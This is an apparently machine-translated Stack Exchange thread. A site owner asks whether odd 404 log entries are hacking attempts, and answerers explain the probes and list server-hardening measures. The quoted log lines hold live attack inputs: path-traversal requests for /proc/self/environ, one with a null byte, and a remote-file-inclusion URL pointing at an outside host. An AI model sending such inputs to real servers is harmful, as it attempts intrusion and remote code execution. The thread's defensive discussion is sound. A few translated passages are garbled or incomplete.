¿Es este un intento de pirateo?

12

Mirando a través de mis registros 404, noté las siguientes dos URL, las cuales ocurrieron una vez:

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

y

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00

La página en cuestión library.phprequiere una typevariable con media docena de valores aceptables diferentes, y luego una idvariable. Entonces, una URL válida podría ser

library.php?type=Circle-K&id=Strange-Things-Are-Afoot

y todos los identificadores se ejecutan mysql_real_escape_stringantes de usarse para consultar la base de datos.

Soy un novato, pero me parece que estos dos enlaces son simples ataques contra el webroot.

1) ¿Cómo proteger mejor contra este tipo de cosas además de un 404?

2) ¿Debo permaban la (s) IP (s) responsable (s)?

EDITAR: también acabo de notar este

/library.php=http://www.basfalt.no/scripts/danger.txt

EDIT 2: La IP ofensiva para los 3 ataques fue la 216.97.231.15que se remonta a un ISP llamado Lunar Pages ubicado a las afueras de Los Ángeles.

EDITAR 3: He decidido llamar al ISP el viernes por la mañana, hora local, y discutir el problema con quien pueda llamar por teléfono. Publicaré los resultados aquí en aproximadamente 24 horas.

EDITAR 4: Terminé enviando correos electrónicos a sus administradores y ellos respondieron primero que "lo estaban investigando" y luego un día después con "este problema debería resolverse ahora". No hay más detalles, lamentablemente.

security mysql php hacking Dibujó
fuente
Adnrew, ¿entiendo bien que este script /library.php no incluya nada de la cadena de consulta? En este caso, está a salvo
coronel Shrapnel el
library.php maneja enlaces generados por mi propio sitio. El typele dice al script que incluye usar (aunque a través de un IF $_GET['type'] == 'thing') {} ESLE..., no como un enlace directo como include 'type.php') y idse ejecuta a través de mysql_real_escape_string y eso se usa para consultas. Sabiendo eso, ¿sigo a salvo?
¿Alguien puede explicar qué está tratando de descubrir exactamente el atacante? Un breve resumen en la pregunta de todas las respuestas sería genial.
bzero

Respuestas:

19

0) si. Por lo menos, es una investigación sistemática contra su sitio que intenta descubrir si es vulnerable.

1) Aparte de asegurarse de que su código esté limpio, no hay mucho que pueda hacer, sino ejecutar sus propias pruebas en su host para asegurarse de que sea seguro. Google Skipfish es una de las muchas herramientas para ayudarlo allí.

2) lo haría.

TML
fuente
10
En cuanto a la 0)notación: ¡agradable! Nunca hubiera pensado en eso.
@polygenelubricants apuesto a que no se le hubiera ocurrido -1)o 0.5)o π)o 2 + 3i)notación tampoco. : P
Mateen Ulhaq
7

Como han dicho otros: sí, es un intento de pirateo. Tenga en cuenta que, además de este posible intento hecho a mano, hay muchísimos automatismos ejecutados por botnets. En general, ese tipo de ataques intentan escabullirse de vulnerabilidades antiguas y / o algunas fallas de codificación típicas, como la falla para validar la entrada del usuario que conduce a la inyección de SQL, la fuga de sistema o archivo, o similar.

La prohibición de esas botnets a mano es probablemente imposible, ya que las botnets pueden usar hasta miles de direcciones IP únicas, por lo que si desea prohibirlas, tendrá que usar algún tipo de programa de prohibición automatizado. fail2ban viene a mi mente; hacer que reaccione a los eventos mod_security u otras entradas de registro.

Si su código está limpio y el servidor está endurecido, esos intentos de pirateo son solo una molesta contaminación de registros. Pero es mejor tomar medidas de precaución y considerar algunos o todos los siguientes, según sus necesidades:

  • mod_security es un módulo de Apache que filtra todo tipo de intentos de piratería típicos. También puede restringir el tráfico saliente (la página que su servidor enviaría a un cliente) si ve JavaScript sospechoso, etc.

  • Suhosin para endurecer el propio PHP.

  • Ejecute sus scripts PHP como un usuario que posee el script; cosas como suphp y php-fpm lo hacen posible.

  • Monte su directorio webroot y PHP temporal como noexec, nosuid, nodev .

  • Deshabilite las funciones PHP innecesarias, como system y passthru .

  • Deshabilitar módulos PHP innecesarios. Por ejemplo, si no necesita soporte IMAP, no lo habilite.

  • Mantenga su servidor actualizado.

  • Vigila los registros.

  • Asegúrate de tener copias de seguridad.

  • Tenga un plan de qué hacer si alguien lo piratea o algún otro desastre lo golpea.

Ese es un buen comienzo. Luego hay medidas aún más extremas, como Snort y Prelude , pero pueden ser muy exageradas para la mayoría de las configuraciones.

Janne Pikkarainen
fuente
3

Es muy probable que la máquina que está haciendo esas consultas sea un zombie botnet. Si recibe esas solicitudes de varias direcciones IP, probablemente no valga la pena prohibirlas, ya que tendría que prohibir la mitad de Internet para que sea eficaz.

Chris
fuente
1

Como ya se dijo, es un intento de acceder al archivo / proc / self / environmental para obtener más información.

Supongo que es una máquina Linux:

Deberías usar

Puede bloquear la ip de un servidor atacante, pero debe considerar que no puede atacar en la función.

Solía ​​bloquear algunos servicios cuando mi servidor está bajo ataque: http / https / pop / imap / ssh pero dejo abierto smtp, para que pueda ser notificado si cometió un error.

Andreas Rehm
fuente
¿Por qué esperar hasta que tenga un ataque fallido antes de cambiar su seguridad? ¿Por qué hacer algo cuando sabes que el ataque está fallando? Sí, el OP podría considerar algunos ajustes temporales para reducir el ruido y el ancho de banda desperdiciado - pero hay implicaciones para la aplicación de los cambios que usted sugiere que no se haya abordado
symcbean
Siempre hay implicaciones. Déjalo como está y podrías ser hackeado. Asegure su servidor y enfrente los problemas causados ​​por los programas de seguridad. Pero de todos modos, ¡la seguridad es una preocupación importante en un sistema accesible desde la web!
Andreas Rehm
0

Sí, es un intento de intrusión. Definitivamente deberías prohibir la IP. Si determina que la IP está fuera del país, es posible que desee prohibir toda la subred a la que pertenece. Esto es menos un problema de código que un problema del servidor. Mire esta intrusión en particular y asegúrese de que su proveedor de alojamiento no sea vulnerable a ella o a intentos similares de script kiddie (que es lo que parece).

Joel Etherton
fuente
0

Este es un intento de explotar una posible vulnerabilidad de inclusión de archivos locales arbitraria en scripts del lado del servidor accesibles a través de su servidor web. En un sistema Linux vulnerable /proc/self/environse puede abusar para ejecutar código arbitrario del lado del servidor.

Cheekysoft
fuente
0

Según lo recomendado por Janne Pikkarainen:

Vigila los registros.

Asegúrate de tener copias de seguridad.

Como parte de estos registros, es importante monitorear los cambios de cualquiera de sus archivos, incluido su sitio web, como parte de un sistema de detección de intrusos. Un ejemplo es OpenBSD que hace esto por defecto para los archivos de configuración. Traigo esto porque:

  • Para los sitios en la nube, hubo modificaciones sutiles en los archivos PHP en un sitio web personalizado (esto solo generaba una etiqueta no estándar, pero tal vez era parte de una prueba para medir la magnitud del exploit).
  • Para un compañero de trabajo hubo redireccionamientos sutiles dentro de su archivo .htaccess de WordPress (solo referencias de los resultados de búsqueda de Google).
  • Para otro compañero de trabajo hubo modificaciones sutiles en su archivo de configuración de Joomla (no recuerdo qué, creo que también fue una redirección bajo ciertas condiciones).
Rob Olmos
fuente